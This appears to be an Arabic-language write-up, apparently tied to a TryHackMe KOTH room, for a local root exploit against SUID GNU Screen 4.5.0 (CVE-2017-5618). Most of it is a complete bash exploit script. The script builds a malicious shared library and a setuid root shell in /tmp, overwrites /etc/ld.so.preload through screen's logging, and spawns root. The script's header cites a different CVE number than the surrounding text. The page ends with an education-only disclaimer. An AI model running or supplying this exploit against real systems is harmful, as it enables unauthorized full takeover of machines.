
استغلال رفع الامتيازات المحلية لـ GNU Screen 4.5.0 (CVE-2017-5618). يستغل ثغرة في ميزة التسجيل لاختطاف تحميل المكتبات المشتركة والحصول على صلاحيات الجذر عبر التلاعب بـ ld.so.preload. الضعيف: Screen 4.5.0 (SUID) تم الإصلاح في: Screen 4.6.0+
استغلال تصعيد الامتيازات المحلي لـ GNU Screen 4.5.0 والذي يختطف تحميل المكتبات المشتركة للحصول على وصول الجذر عبر التلاعب بـ ld.so.preload.
الثغرة: CVE-2017-5618
النوع: اختطاف المكتبات المشتركة عبر ld.so.preload
المتأثر: GNU Screen 4.5.0 حصريًا
تم الإصلاح في: GNU Screen 4.6.0+
CVE: 2017-5618 🎯
الخطأ: Screen 4.5.0 ينشئ ملفات سجل بأذونات خطيرة
السحر: نخدعه لإنشاء /etc/ld.so.preload الذي يحمل مكتبتنا الخبيثة
الحمولة: شيل جذر فوري! 🐚
#!/bin/bash
# exploit.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# CVE-2016-8781
# tested on debian jessie (8.6) with screen 4.5.
# 0xHackers - Darke
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
echo "[+] Triggering..."
screen -ls
/tmp/rootshell
التحقق من إصدار Screen الضعيف.

إنشاء الملف وإعطاء الأذونات المطلوبة.

تم الحصول على وصول الجذر.

تم الحصول على شيل الجذر - تحكم كامل في النظام
للاستخدام التعليمي فقط! ⚠️ لا تكن طفل سكربت - استخدم هذا فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
غرفة TryHackMe KOTH - Food